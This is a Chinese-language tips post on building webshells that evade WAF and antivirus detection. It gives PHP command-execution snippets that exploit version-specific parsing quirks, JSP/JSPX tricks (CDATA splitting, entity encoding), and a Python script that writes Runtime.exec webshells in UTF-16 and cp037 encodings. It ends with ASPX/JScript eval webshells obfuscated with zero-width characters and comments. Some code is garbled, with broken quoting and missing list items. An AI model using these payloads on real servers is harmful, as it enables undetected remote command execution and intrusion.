传统的php免杀不用多说了,无非就是各种变形和外部参数获取,对于一些先进的waf和防火墙来说,不论如何解析最终都会到达命令执行的地方,但是如果语法报错的话,就可能导致解析失败了,这里简单说几个利用php版本来进行语义出错的php命令执行方式。 1、利用在高版本php语法不换行来执行命令<?= $a=<<< aa assasssasssasssasssasssasssasssasssasssasssassss aa;echo `whoami` ?> 5.2 版本报错5.4 版本报错7.3.4 成功执行命令2、利用\特殊符号来引起报错
5.3 执行命令失败7.3 执行命令失败5.2 成功执行3、十六进制字符串<?php $s=substr('aabbccsystem','0x6'); $s(whoami) ?> 7.3 命令执行失败5.2 命令执行失败5.3 命令执行成功当然,对于我们可以结合垃圾数据,变形混淆,以及大量特殊字符和注释的方式来构造更多的payload,毕竟每家的waf规则不同,配置也不同,与一些传输层面的bypass进行结合产生的可能性就会非常多样。
0、小小Tipsjspx的后缀不兼容为jsp的代码,jspx只能用jspx的格式。 1、jspx CDATA特性格式:<![CDATA[xxxxxxxxxxxxxxxxxxx]]> 例如:String cmd = request.getPar<![CDATA[ameter]]>('shell'); 2、实体化编码
3、利用java支持其他编码格式来进行绕过#python2 charset = 'utf-8' data = '''<%Runtime.getRuntime().exec(request.getParameter('i'));%>'''.format(charset=charset)
f16be = open('utf-16be.jsp','wb') f16be.write('<%@ page contentType='charset=utf-16be' %>') f16be.write(data.encode('utf-16be'))
f16le = open('utf-16le.jsp','wb') f16le.write('<jsp:directive.page contentType='charset=utf-16le'/>') f16le.write(data.encode('utf-16le'))
fcp037 = open('cp037.jsp','wb') fcp037.write(data.encode('cp037')) fcp037.write('<%@ page contentType='charset=cp037'/>')
<%@ Page Language='Jscript'%>eval(@Request.Item['pass'],'unsafe');% 1、unicode编码
2、空字符串连接\u200c \u200d \u200e \u200f 3、使用<%%>语法
4、头部免杀<%@ Page Language='Jscript'%>------》<%@Page Language=JS%> 5、使用符号
6、注释可以随意插入<%/*qi*/Session./*qi*/Add(@'k'/*qi*/,/*qi*/'e45e329feb5d925b'/*qi*/)
|
|